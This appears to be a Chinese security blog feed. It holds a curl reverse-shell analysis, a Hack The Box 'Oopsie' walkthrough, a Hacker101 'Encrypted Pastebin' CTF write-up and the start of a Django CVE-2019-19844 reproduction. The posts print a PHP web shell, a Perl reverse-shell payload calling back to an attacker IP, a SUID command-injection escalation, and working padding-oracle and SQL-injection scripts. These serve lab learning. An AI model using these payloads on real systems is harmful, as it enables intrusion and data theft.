              |      |     |
              |            |
              +---+---+----+
                  |   |
                  |   +-------------------------------------+
                  |                                         |
+-----------------+------------------------------+    +-----+----+
|                                                |    |          |
|  curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 |    | sh 3>&-; |
|                                                |    |          |
+------------------------------------------------+    +----------+

fd 重定向分析

完成语法分析后可对 fd 重定向情况进行分析。

假设执行这条命令的 Bash 的 stdinstdout 都是 pts/0。外层 |(倒数第二个字符)产生的匿名管道为 pipe1,内层 |(curl 和 sh 之间的管道)产生的匿名管道为 pipe2

可标注出外层 | 前后命令的 fd 如下图所示。

                                                                       +-------+
                                                                       |       |
                                                                       |   |   |
                                                                       |       |
                                                                       +-+---+-+
                                                                         |   |
+-----------------------------------------------------------------+      |   |       +-------+
|                                                                 |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+   +-------+   :   |
|                                                                 |                  |       |
+-----------------------------------------------------------------+                  +-------+

                         stdin : pts/0                                              stdin : pipe1
                         stdout: pipe1                                              stdout: pts/0

命令组后的 3>&1 将 fd 3 重定向到了 fd 1,即 stdout,如下图所示。

                                                                  +-------+
                                                                  |       |
                                                                  |   |   |
                                                                  |       |
                                                                  +-+---+-+
                                                                    |   |
+------------------------------------------------------------+      |   |       +-------+
|                                                            |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} +------+   +-------+   :   |
|                                                            |                  |       |
+------------------------------------------------------------+                  +-------+

                         stdin : pts/0                                         stdin : pipe1
                         stdout: pipe1                                         stdout: pts/0
                         fd 3  : pipe1

命令组中的命令会继承 {} 的 fd,同时命令组中两条命令也由一个管道连接,综合这两点可标注出 curl 和 sh 的 fd 如下图所示。

                                 +-------+
                                 |       |
                                 |   |   |
                                 |       |
                                 +-+---+-+
                                   |   |
               +------------+      |   |       +-------+
stdin : pts/0  |            |      |   |       |       |
stdout: pipe1  | {...} 3>&1 +------+   +-------+   :   |
fd 3  : pipe1  |            |                  |       |
               +------+-----+                  +-------+
                      |
               +------+-----+                 stdin : pipe1
               |            |                 stdout: pts/0
               |      |     |
               |            |
               +---+---+----+
                   |   |
                   |   +-------------------------------------+
                   |                                         |
 +-----------------+------------------------------+    +-----+----+
 |                                                |    |          |
 |  curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 |    | sh 3>&-; |
 |                                                |    |          |
 +------------------------------------------------+    +----------+

                 stdin : pts/0                         stdin : pipe2
                 stdout: pipe2                         stdout: pipe1
                 fd 3  : pipe1                         fd 3  : pipe1

curl 和 sh 各自又有一个重定向。curl 的 </dev/fd/3 表示把 stdin 重定向为 fd 3,即 pipe1。sh 的 3>&- 表示关闭 fd 3。考虑到这两个重定向,最后可得到下图。

                                 +-------+
                                 |       |
                                 |   |   |
                                 |       |
                                 +-+---+-+
                                   |   |
               +------------+      |   |       +-------+
stdin : pts/0  |            |      |   |       |       |
stdout: pipe1  | {...} 3>&1 +------+   +-------+   :   |
fd 3  : pipe1  |            |                  |       |
               +------+-----+                  +-------+
                      |
               +------+-----+                 stdin : pipe1
               |            |                 stdout: pts/0
               |      |     |
               |            |
               +---+---+----+
                   |   |
                   |   +-------------------------------------+
                   |                                         |
 +-----------------+--------------------+              +-----+----+
 |                                      |              |          |
 |  curl -sNkT . https://$LHOST:$LPORT  |              |    sh    |
 |                                      |              |          |
 +--------------------------------------+              +----------+

                stdin : pipe1                          stdin : pipe2
                stdout: pipe2                          stdout: pipe1
                fd 3  : pipe1

从上图可以很清晰地看出,curl 的 stdin 和 sh 的 stdout、 sh 的 stdin 和 curl 的 stdout 分别通过匿名管道 pipe1pipe2 相连。

工作原理

至此,我们已经基本弄清了魔法命令的工作原理,总结如下:利用 Bash 语法:命令组、管道和重定向等让 curl 命令和 sh 命令的 stdinstdout 交错相连;又添加 -T 等参数和文件名 . 让 curl 读取 stdin 的内容发送到服务端,同时读取服务端返回的数据并输出到 stdout

遗留问题

为何要关闭 sh 命令的 fd 3?

测试发现其实不关闭 sh 命令的 fd 3 反弹 shell 也可以正常工作。

: 命令的作用是什么?

建立匿名管道 pipe1,且 : 命令不会去读 pipe1,不影响反弹 shell 工作。如果把 : 换成同样不会读 stdintrue 命令,反弹 shell 仍然可以工作,但如果换成会读 stdin 的命令如 cat,反弹 shell 就无法工作了。

]]>
https://blog.werner.wiki/curl-reverse-shell-principle/feed/ 0
渗透笔记之Oopsie https://blog.werner.wiki/penetrate-oopsie/ https://blog.werner.wiki/penetrate-oopsie/#respond Wed, 10 Jun 2020 12:31:56 +0000 https://blog.werner.wiki/?p=1534 背景

Oopsie 是 Hack The Box 的一台非常简单的入门级靶机。IP 地址是 10.10.10.28,使用 OpenVPƝ 连接靶场网络后便可访问。本文较为完整地记录了对其进行渗透的全过程。

信息收集

端口扫描

使用 Nmap 对靶机进行 TCP 端口扫描:

nmap -sV 10.10.10.28

扫描结果如下图所示,看到靶机开放了 22 和 80 端口。一般来说 22 端口的 OpenSSH 很少会有问题,80 端口的 Web 服务很值得仔细查看。

nmap扫描结果

Web 探测

在浏览器中访问 http://10.10.10.28,看到如下图所示的网页。

网站首页

在网页下方看到联系信息和公司名 MegaCorp,如下图所示。

网页中的联系方式

Hack The Box 的第一台靶机 Archetype 的管理员密码是 MEGACORP_4dm1n!!,看上去像是 MegaCorp admin 的变形,说不定有联系。

再没有发现其他可疑信息。按惯例查看网页源码,看到 <script src="/cdn-cgi/login/script.js"></script>,如下图所示。

网站源码泄露后台地址

看上去 /cdn-cgi/login/ 像是一个登录页面,在浏览器中访问看到如下图所示的网页。

登录页面

尝试用 adminMEGACORP_4dm1n!! 登录,居然就成功了。登录后看到有一个页面显示了当前登录的用户,如下图所示。

登录后的页面

还有一个 Uploads 页面,但点击发现需要 super admin 权限,如下图所示。

上传需要更高的权限

按惯例使用 gobuster 对 Web 路径进行扫描:

gobuster dir --url http://10.10.10.28/ --wordlist /usr/share/wordlist/dirb/big.txt

扫描结果如下图所示。

Web路径扫描结果

看到扫出了 uploads 目录,但访问发现返回了 Forbidden,如下图所示。

uploads页面返回Forbidden

漏洞利用

越权

出于习惯查看 Cookie,看到的 Cookie 如下图所示。

Cookie

看到有一个键为 role 的 Cookie,值是 admin,有一个键为 user 的 Cookie,值是 34322,再没有其他 Cookie,这意味着只要知道其他用户的 roleuser,便可以以其他用户的身份登录。而 34322 这个数字曾出现在显示当前登录用户的页面中,是 Access ID。回到这个页面,观察到它的 URL:

http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1

其中有很可疑的参数 id=1,试着把 id 改为 2,发现没有报错,但也没有显示任何用户,如下图所示。

用户id为2时的显示

不要轻易放弃,继续尝试,把 id 改为 3,结果和上图一样。把 id 改为 4,出现了一个新的用户,如下图所示。

用户id为4时的显示

但这不是我们想要的 super admin,继续修改 id,依次尝试5、6、7、…….,直到把 id 改为 30,终于看到了 super admin,如下图所示。

用户id为30时的显示

现在我们知道了 super adminAccess ID86575 了 。修改 Cookie,把 role 改成 super admin,把 user 改成 86575,并刷新页面,现在可以打开 Uploads 页面了,如下图所示。

上传页面

上传

准备文件 shell.php,内容为:

<?php echo shell_exec($_GET['shell']);?>

然后上传,居然就成功了,都没有对 php 文件的过滤。但上传到哪里去了呢?结合 Web 路径扫描结果,猜测上传到了 /uploads/shell.php,尝试访问 http://10.10.10.28/uploads/shell.php?shell=id,看到 id 命令被成功执行,如下图所示,说明这个猜测是正确的。

上传页面

然后用 nc -nvlp 4444 监听 4444 端口,并在浏览器中访问:

http://10.10.10.28/uploads/shell.php?shell=perl%20-MIO%20-e%20%27$p=fork;exit,if($p);$c=new%20IO::Socket::INET(PeerAddr,%2210.10.14.33:4444%22);STDIN-%3Efdopen($c,r);$~-%3Efdopen($c,w);system$_%20while%3C%3E;%27

成功建立了反弹 shell,如下图所示。

成功建立反弹shell

但权限很低,是 www-data ,需要提权。

提权

提升 Shell

拿到的反弹 Shell 是非交互式的,为便于操作,下载 socat,并使用 socat 发起新的反弹 Shell 到 3333 端口,操作如下图所示。

提升Shell

使用 nc 监听 3333 端口,成功获得交互式 Shell,如下图所示。

获得交互式Shell

提权到普通用户

在上面的步骤中,我们修改 id 为不同的值获得了不同的返回结果,很明显网站是连接了数据库的。在 /var/www/html/cdn-cgi/login 下看到有文件 db.php,查看其内容意外地收获了一对用户名和密码 :robert: M3g4C0rpUs3r!,如下图所示。

数据库密码

用户名是 robert,不是常见的 root,值得注意。用 ls /home 查看系统用户发现恰好有一个名为 robert 的 Linux 用户。用 su 命令并输入密码便可以切换为 robert 用户,如下图所示。

成功提权到普通用户

提权到 root

ls -lh $(find / -perm -u=s -type f 2>/dev/null) 查看具有 SUID 的可执行文件,看到了一个奇怪的程序:

-rwsr-xr-- 1 root   bugtracker      8.6K Jan 25 10:14 /usr/bin/bugtracker

如下图所示。

bugtracker

这个程序得是 root 或是 bugtracker 组的用户才能执行。用 cat /etc/group | grep bugtracker 查看 bugtracker 组的用户,看到 robert 恰好在其中,如下图所示。

bugtracker组成员

执行 bugtracker,提示用户输入 Provide Bug ID,我们随便输入 123 试试,根据错误信息可以判断出这个程序内部调用了 cat,如下图所示。

bugtracker执行结果

再次执行 bugtracker,输入 123;/bin/bash 做为 Provide Bug ID,成功获得了具有 root 权限的 Shell,如下图所示。

获得root权限

信息收集

看看 root 用户都有些啥。执行命令:

ls -lRa /root

发现了一个挺有意思的文件,是 /root/.config/filezilla/filezilla.xml。如下图所示。

挺有意思的文件

内容是:

<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<FileZilla3>
    <RecentServers>
        <Server>
            <Host>10.10.10.44</Host>
            <Port>21</Port>
            <Protocol>0</Protocol>
            <Type>0</Type>
            <User>ftpuser</User>
            <Pass>mc@F1l3ZilL4</Pass>
            <Logontype>1</Logontype>
            <TimezoneOffset>0</TimezoneOffset>
            <PasvMode>MODE_DEFAULT</PasvMode>
            <MaximumMultipleConnections>0</MaximumMultipleConnections>
            <EncodingType>Auto</EncodingType>
            <BypassProxy>0</BypassProxy>
        </Server>
    </RecentServers>
</FileZilla3>

从中可以看到一个 FTP 账号:ftpuser: mc@F1l3ZilL4。以后也许用得着。

总结

这台靶机真的非常简单,渗透所用时间和写这篇文章差不多。

拿到 OSCP 认证后我便疏于练习,一转眼半年多过去了,不禁又要感慨逝者如斯夫不舍昼夜。为防止技艺生疏,我决定在业余时间继续渗透靶机。这也是我的娱乐方式之一。

]]>
https://blog.werner.wiki/penetrate-oopsie/feed/ 0
Hacker101 CTF Encrypted Pastebin write-up https://blog.werner.wiki/hacker101-ctf-encrypted-pastebin-write-up/ https://blog.werner.wiki/hacker101-ctf-encrypted-pastebin-write-up/#comments Tue, 07 Jan 2020 14:14:10 +0000 https://blog.werner.wiki/?p=1032

首发于先知社区

背景介绍

Hackerone是一个漏洞赏金平台,想获取该平台的项目资格,需解答Hacker101 CTF题目。不同的题目有不同数量的flag,每个flag因题目难度不同而对应不同积分(point)。每得26分就会获得一个私密项目邀请。

本文记录了其中名为“Encrypted Pastebin”的题目的解法。该题要求技能为Web和Crypto,难度为Hard,共有4个flag,每个flag值9分。

本文写作日期为2019年12月15日。读者阅读本文时可能已经时过境迁,Hacker101 CTF可能不再有这道题目,或内容发生变化。但本文尽可能地详细记录了整个解答过程,没有题目并不影响阅读和理解本文。

若读者正在解答这道题目但没有前进的思路,建议读者不要继续阅读本文,否则将损害解答这道题目的本意。请带着这一提示关闭本文:padding oracle。

题目描述

题目的地址是动态的,每隔一段时间打开都会不同,所以这里无法给出题目地址。也因其动态性,后文中相关代码或截图中题目地址可能会有所不同,读者只要知道虽然地址不同但其实是同一道题目便不会影响阅读了。

打开题目后看到一个Web页面,如下图所示:

题目Web页面1

提示文本是:

We’ve developed the most secure pastebin on the internet. Your data is protected with military-grade 128-bit AES encryption. The key for your data is never stored in our database, so no hacker can ever gain unauthorized access.

从提示文本中我们知道了加密算法是AES,密钥长度是128比特,那么分组便是16字节。此外我们还知道了加密用户数据的密钥没有保存在数据库中。

我们输入Title1,内容也为1,然后点击Post按钮,页面跳转到了:

http://35.190.155.168/fc2fd7e530/?post=LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~

观察这个URL,看到路径没有变,只是多了post参数,参数值长得很像base64编码,但又有一点点区别。页面内容如下图所示:

题目Web页面2

这道题目便是这个样子,一个功能单一的Web页面。一开始我很困惑这玩意有什么用,后来意识到Pastebin和Blog、BBS一样是一种Web应用,其作用是存储和分享一段纯文本数据,一般是源代码。如Ubuntu就提供自己的Pastebin服务。应用场景之一是一群人使用IRC讨论编程问题,一个人想向大家分享一段代码,那么他可以将这段代码存储在Pastebin中,将链接分享给大家,这样便避免了大段代码刷屏,感兴趣的人打开链接查看代码一般也能获得比较好的阅读体验。

根据以往做过的Hacker101 CTF题目知道每个漏洞对应一个flag。现在我们要做的便是找出这个加密Pastebin服务的漏洞。

Flag 1

一开始毫无思路,便想着输入异常数据试图引发错误。将post参数的值修改为1,提交后结果出乎意料,直接得到了一个flag,如下图所示。

flag1

在报错中我们看到了服务器是如何解码post参数的:

b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))

其实就是base64编码,只不过替换了3个关键字符。为简单起见,后文中就直接把它称做base64编码。在报错信息中我们还看到在按base64解码post参数后,调用一个名为decryptLink的函数解密它,解密后按UTF-8解码,并以json格式解析:

post = json.loads(decryptLink(postCt).decode('utf8'))

从这个报错中暂时就看出这些有用的信息。但同时我们知道,通过触发错误可以获得很多信息。

Flag 2

报错1

现在考虑触发别的报错,向服务器提交能成功base64解码但在调用decryptLink解密时报错的数据。我们知道了如何解码post参数,便也就知道了如何编码post参数。提交post参数为MTix(一个有效的base64编码),这次报错为:

报错1

通过这个报错,我们看到了decryptLink函数中有一行代码的内容是:

cipher = AES.new(staticKey, AES.MODE_CBC, iv)

看来加解密post参数使用的密钥是静态的(staticKey)。还看到加密使用了CBC模式。报错中说IV(初始向量)长度必须是16字节,看来IV是从post参数中提取的。

报错2

现在考虑触发新的报错,将16个*编码,结果为:

KioqKioqKioqKioqKioqKg~~

提交此参数,成功触发了新的报错,如下图所示。

报错2

从这个报错中我们看到了decryptLink函数的最后一行代码,内容是:

return unpad(cipher.decrypt(data))

报错说string index out of range,应该是提交的post参数长度为16字节,刚够IV,实际数据为0,所以产生了这个错误。同时注意到有一个unpad操作,看函数名其功能应该是去掉填充(pad)。

报错3

再尝试触发新的报错,将32个*编码,结果为:

KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio~

提交此参数,成功触发了新的报错,如下图所示。

报错3

这次的报错中出现了耐人寻味的PaddingException,结合CBC模式是可以使用padding oracle攻击解出明文的。虽然在大学密码学课上骆老师讲过这种攻击方式,但具体细节记不清楚了。查了些资料后补齐了细节,写了一个Python脚本来执行该攻击,脚本内容如下。该攻击的资料很多,网上一搜一大把,这里就不给出具体的参考链接了。后文假设读者清楚padding oracle攻击的细节,若不清楚,请先查阅资料。

import base64
import requests

def decode(data):
    return base64.b64decode(data.replace('~', '=').replace('!', '/').replace('-', '+'))

def encode(data):
    return base64.b64encode(data).decode('utf-8').replace('=', '~').replace('/', '!').replace('+', '-')

def bxor(b1, b2): # use xor for bytes
    result = b""
    for b1, b2 in zip(b1, b2):
        result += bytes([b1 ^ b2])
    return result

def test(url, data):
    r = requests.get(url+'?post={}'.format(data))
    if 'PaddingException' in r.text:
        return False
    else:
        return True

def generate_iv_list(tail):
    iv = b'\x00' * (16 - len(tail) -1)
    return [iv+bytes([change])+tail for change in range(0x00, 0xff+1)]

def padding_oracle(real_iv, url, data):
    index = 15
    plains = bytes()
    tail = bytes()
    while index >= 0:
        for iv in generate_iv_list(tail):
            if test(url, encode(iv+data)):
                plains = bytes([(16-index) ^ iv[index]]) + plains
                index -= 1
                tail = bytes([plain ^ (16-index) for plain in plains])
                break
    return bxor(real_iv, plains)

if __name__ == '__main__':
    post = 'LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~'
    url = 'http://35.190.155.168/fc2fd7e530/'

    i = 1
    plains = bytes()
    data = decode(post)
    length = len(data)
    while True:
        if i*16 < length:
            iv = data[(i-1)*16: i*16]
            plains += padding_oracle(iv, url, data[i*16: (i+1)*16])
        else:
            break
        i += 1
    print(plains)

运行这个脚本,花了大约1个小时才解出明文是:

{"flag": "^FLAG^597a59999a26c9f1b48d7xxxxxxxxxxxxxxxxxxxxxxxxxxxb153f505d4755bf2$FLAG$", "id": "3", "key": "XjPkmljch5E2sMiNhsNiqg~~"}\n\n\n\n\n\n\n\n\n\n

至此拿到了第二个flag。

Flag 3

观察解出的明文,发现它是json格式的,共有三个键,第一个是flag,应该纯粹为CTF服务,没有实际意义;第二个是id,值为3;第三个是key,值被用base64编码了,解码后发现是16字节长的二进制数据,怎么看怎么像AES密钥,用它直接解密post参数却是失败的,看来是其他地方的密钥了。

我们知道CBC除了padding oracle攻击外还有字节翻转攻击,利用字节翻转攻击可以把id3改成其他值,比如1。但实际尝试发现这样做是行不通的,因为字节翻转攻击的原理是修改密文分组中一个字节的值,使下一个分组中明文的对应位置的字节按我们的意愿修改,这样做会导致修改过的密文分组解密出的明文变成乱码,而这个乱码往往无法按UTF-8解码,在decode('utf8')时会触发UnicodeDecodeError错误。

为了避免UnicodeDecodeError错误,我们不能修改任何密文,那么就只能修改IV了。通过修改IV,我们可以控制第一个分组的明文。其原理如下图所示,用想要的明文异或原本的(已知)明文,将结果做为新的IV,解密时会再异或一次得到我们想要的明文。

控制第一个分组明文的原理

然而id出现在第6个明文分组中,无法直接修改。但好在我们可以完全控制IV和密文,所以可以抛弃部分密文。为便于观察,先把明文按16字节分组,结果如下:

{"flag": "^FLAG^
597a59999a26c9f1
b48d7xxxxxxxxxxx
xxxxxxxxxxxxxxxx
b153f505d4755bf2
$FLAG$", "id": "
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n

然后再设计我们想要的明文:

{"id":"1", "i":"
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n

对比可知完全抛弃了前5个分组,只保留了后5个分组,并且后5个分组中只有第1个分组的内容是改变了的。这样我们计算出合适的IV,便可以得到想要的结果。具体的计算方法见代码:

post = 'LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~'
data = decode(post)[16*(1+5):]    # 抛弃原始密文的前5个分组(加1是因为有16字节的IV)
iv_6 = decode(post)[16*(1+4):16*(1+5)]    # 第5个分组的密文,也就是第6个分组的“IV”
immediate = bxor(b'$FLAG$", "id": "', iv_6)    # 第6个分组密文解密的直接结果
iv = bxor(immediate, b'{"id":"1", "i":"')    # 计算出合适的IV
print(encode(iv+data))

运行该代码计算出对应post参数为:

11is9FtK5stoIrb8SWs77z8UuS!4LYUxaWyX6xNAbZ97!foFZcv8sjHHgvhUJYLLWud0hjVTRwVZ8BNH1oi8PGIdpCjZOVLvSjlkiLWd2QU~

提交此参数,没有成功查询出id1的条目,但成功拿到了新的flag,如下图。

flag3

通过错误提示推测这是因为服务器只加密了body没有加密title,flag存储在title中,尝试解密body时触发了错误(因为key是id=3的数据的,不是id=1的数据的),但好在错误信息中包含了title的值。

Flag 4

继续设法触发新的报错,试试SQL注入。构造如下的明文,把id的值设置为单引号:

{"id":"'", "i":"
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n

计算出对应post为:

11is9FtK5t1oIrb8SWs77z8UuS!4LYUxaWyX6xNAbZ97!foFZcv8sjHHgvhUJYLLWud0hjVTRwVZ8BNH1oi8PGIdpCjZOVLvSjlkiLWd2QU~

提交此参数,如愿以偿地看到了SQL注入的报错,甚至知道了具体的SQL语句是什么,如下图。

SQL报错

但按现有的方法,我们最多只能控制9个字符。9个字符是无论如何都无法完成注入的。

多方查阅资料后在一篇文章中看到说padding oracle攻击不仅可以用来解密明文,还可以用来构造解密出任意指定明文的密文。又在《Automated Padding Oracle Attacks with PadBuster》中找到了具体的原理,其实非常简单,是我们前面做法的推广。这里简单叙述一下原理。

原理

如上图,已知利用padding oracle攻击我们可以在不知道密钥的情况下解密出任意密文对应的Intermediary Value,在CBC模式中Intermediary Value和IV或上一块密文异或得到Decrypted Value。为构造解密出任意指定明文的密文,我们先将明文分组并按PKCS#5填充。然后随机生成16字节数据做最后一块密文,用padding oracle计算出它的Intermediary Value,用Intermediary Value异或最后一块明文得到倒数第二块密文。用padding oracle计算出倒数第二块密文的Intermediary Value,用Intermediary Value异或倒数第二块明文得到倒数第三块密文。依此类推,直到计算出IV。

看懂原理后写了一个Python脚本来实现这种攻击,脚本太长为了不影响阅读附在文末。

首先构造明文:

{"id":"0 UNION SELECT database(), ''","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

vpxsCHeQyFv5Xz4ITQHcTgNDCEuKQ1YRvZU6JINj2La063Cs2XWp0GsHLGVmrVFfrwmnx-gmZgdPBL16ODezPqd5DrohLnQvjeJK7!STgHyNFotCtLYeOCS2-IVdPQHA

SQL注入1

得到数据库名为level3

接着构造明文:

{"id":"0 UNION SELECT group_concat(TABLE_NAME), '' from information_schema.tables where TABLE_SCHEMA='level3'","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

7yUXiAErbrYDMQu9o6!rEsLGp-qFoWKIc!n22RVLCUNmFRKq9OZtyTtyPOy3LNbMLyQJmYODUBikZMkFlGdYJ2bIzCAsMXWK8pZJ94T7HNGYCAnZbf6eb0vpocf-ybAo42WQc9dUv8Iw7!9WZe76ETDW!M7obDKpipW4WMM9l3TJPkw0pFrSNtOHB1XmaKv23hh51E8cGTaU-1P27YqZZY0Wi0K0th44JLb4hV09AcA~

SQL注入2

得到数据库level3中有表poststracking,前一个表的内容我们已经知道了,所以关心后一个表,构造如下明文查询它有哪些列:

{"id":"0 UNION SELECT group_concat(column_name), '' from information_schema.columns where TABLE_NAME='tracking'","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

xjYpoCshfUQiElru19HYf04qjeYVD8CoA9XmG2Oly9ECT7stCN-AuV5PqBw5FOTaMmYIYykBwq7wUHJ08kc6jjNgK8pwZ0-U3024MxjwrCgGJu3qOBz91H1qn5DT5zducioD06x1w3HClw2grzbdreZgLFq!JQJMk8VhhXweN65GVLlJwibidmS4SFd0XZYh7HVnylECByiK5U3o85SHe40Wi0K0th44JLb4hV09AcA~

SQL注入3

得到表tracking有列idheadersid里应该没有实际数据,所以我们试图查询出headers。为此构造明文:

{"id":"0 UNION SELECT group_concat(headers), '' from tracking","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

be6Lqymj1Mmo5urgkMavFVbMAhGyzY8DKY94bPMcjvq!wzT2jIXMFVg-5aEFeap-zVKyX8oHocYl4foLJe76ETDW!M7obDKpipW4WMM9l3TJPkw0pFrSNtOHB1XmaKv23hh51E8cGTaU-1P27YqZZY0Wi0K0th44JLb4hV09AcA~

SQL注入4

成功的查出了所有的headers,但其中没有flag。观察数据,看到headers应该是http的头部,其中也包含post参数,都试一试,发现第一个post参数可以解出一个新的flag,如下图。

flag4

至此,拿到了全部的4个flag。

总结

先总结一下Encrypted Pastebin的工作流程:每次接到用户数据都随机生成一个key对其进行加密,加密结果存储在数据库中,然后用固定密钥staticKey加密随机生成的key,并将加密结果和数据库条目id编码后返回给用户。用户直接打开链接就可以看到存储的数据,和非加密的Pastebin一样方便。加密用户数据的密钥确实没有存储在数据库中,和首页宣传的一致。

这道题目对我来说是很有难度的,我花了一整个周末才完成它。一方面它让我复习/新学了密码学知识,另一方面,也是更重要的——它教导我不要轻易放弃。在进行padding oracle攻击时,速度很慢很慢,由于编程错误跑了很久却没有任何结果,让我心灰意冷,反复修改多次才终于成功。进行SQL注入时,由于一开始不知道利用padding oracle攻击可以构造解密出任意指定明文的密文便毫无思路,并且已经拿到了27分,几乎真的放弃了。后来觉得若是现在放弃,今后再做又得复习前面的所有步骤,白白浪费时间,才又坚持做下去。

附录

生成解密出任意指定明文的密文的Python脚本:

import base64
import requests

def trans(s):
    return "b'%s'" % ''.join('\\x%.2x' % x for x in s)


def decode(data):
    return base64.b64decode(data.replace('~', '=').replace('!', '/').replace('-', '+'))


def encode(data):
    return base64.b64encode(data).decode('utf-8').replace('=', '~').replace('/', '!').replace('+', '-')


def bxor(b1, b2): # use xor for bytes
    result = b""
    for b1, b2 in zip(b1, b2):
        result += bytes([b1 ^ b2])
    return result


def test(url, data):
    r = requests.get(url+'?post={}'.format(data))
    if 'PaddingException' in r.text:
        return False
    else:
        print(r.url)
        return True

def generate_iv_list(tail):
    iv = b'\x00' * (16 - len(tail) -1) 
    return [iv+bytes([change])+tail for change in range(0x00, 0xff+1)]


def padding_oracle_decrypt(url, data):
    print('破解数据:{}'.format(data))
    index = 15
    intermediary = bytes()
    tail = bytes()
    while index >= 0:
        for iv in generate_iv_list(tail):
            print('尝试初始向量:{}'.format(trans(iv)))
            if test(url, encode(iv+data)):
                intermediary = bytes([(16-index) ^ iv[index]]) + intermediary
                index -= 1
                tail = bytes([temp ^ (16-index) for temp in intermediary])
                break
    return intermediary


def pad(data, block_size):
    """按PKCS#5填充"""
    amount_to_pad = block_size - (len(data) % block_size)
    if amount_to_pad == 0:
        amount_to_pad = block_size
    pad = bytes([amount_to_pad])
    return data + pad * 16


if __name__ == '__main__':
    url = 'http://35.190.155.168/fc2fd7e530/'
    post = 'OQ9EaI4kACeslNOW5XuTWpnKWmjyduYd0CnPDOFVUNW6tmnWyxyj-ID-xbYIkUaXrg-F4T!!5!4cZxh738rhQ-1QhYP1GcIy-tx0HILgW9bqTiWFGCgrCqTJKoLfoKlXjRaLQrS2HjgktviFXT0BwFPxx29x7i1UxDdLeC7ZAVxvJ4WDvDyxzEc3vNxuRE5UB!dytTf!iY32Cpl8iiI7LQ~~'
    ciphertext = decode(post)[16*6:16*7]
    immediate = bxor(b'$FLAG$", "id": "', decode(post)[16*(1+4):16*(1+5)])

    plains = '{"id":"0 UNION SELECT group_concat(headers), \'\' from tracking","key":"XjPkmljch5E2sMiNhsNiqg~~"}'
    data = pad(plains.encode('utf-8'), 16)
    block_amount = int(len(data) / 16)
    index = block_amount
    while True:
        block = data[(index-1)*16: index*16]
        print('处理块:')
        print(block)
        iv = bxor(immediate, block)
        ciphertext = iv + ciphertext
        index -= 1
        if index > 0:
            immediate = padding_oracle_decrypt(url, iv)
        else:
            break
    print(encode(ciphertext))
]]>
https://blog.werner.wiki/hacker101-ctf-encrypted-pastebin-write-up/feed/ 2
Django重置密码漏洞(CVE-2019-19844)复现和分析 https://blog.werner.wiki/poc-of-cve-2019-19844/ https://blog.werner.wiki/poc-of-cve-2019-19844/#comments Tue, 31 Dec 2019 11:30:42 +0000 https://blog.werner.wiki/?p=1084

首发于安全客

前言

CVE-2019-19844是Django重置密码功能的一个漏洞。Django的密码重置表单使用不区分大小写的查询来获取输入的邮箱地址对应的账号。一个知道邮箱地址和账号对应关系的攻击者可以精心构造一个和该账号邮箱地址不同,但经过Unicode大小写转换后相同的邮箱地址,来接收该账户的密码重置邮件,从而实现账户劫持的攻击目标。1

本文较为详细地记录了该漏洞的复现过程,简要分析了漏洞成因,讨论了攻击所需的条件。

复现

基于Python 3.6.0,Django 3.0.0和MariaDB 10.4.11复现漏洞。

准备环境

首先安装Python 3.6.0和MariaDB 10.4.11,然后安装有漏洞的Django版本3.0.0:

pip install django==3.0.0

全部安完后创建数据库cve_2019_19844_test

MariaDB [(none)]> CREATE DATABASE cve_2019_19844_test;

新建Django项目cve_2019_19844_test

django-admin startproject cve_2019_19844_test

需对项目cve_2019_19844_test的配置文件setting.py做一些修改。将LANGUAGE_CODEzh-hans,这样Django就会显示汉语界面了。修改数据库相关配置为使用MariaDB:

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'NAME': 'cve_2019_19844_test',
        'USER': 'root',
        'PASSWORD': 'root',
        'HOST': 'localhost',
        'PORT': '3306',
    }
}

在文件末尾添加发送邮件相关的配置,示例如下。

EMAIL_USE_SSL = True
EMAIL_HOST = 'smtp.qq.com'  # 如果是 163 改成 smtp.163.com
EMAIL_PORT = 465
EMAIL_HOST_USER = 'xxx@qq.com' # 帐号
EMAIL_HOST_PASSWORD = 'p@ssw0rd'  # 密码
DEFAULT_FROM_EMAIL = EMAIL_HOST_USER

为使用MariaDB做数据库,还需在__init__.py中添加:

import pymysql
pymysql.install_as_MySQLdb()

接着执行以下命令创建数据表:

python manage.py migrate

然后创建一个用户,用户名是werner,邮箱地址是i@werner.wiki

python manage.py createsuperuser

创建用户

启动Web服务:

python manage.py runserver

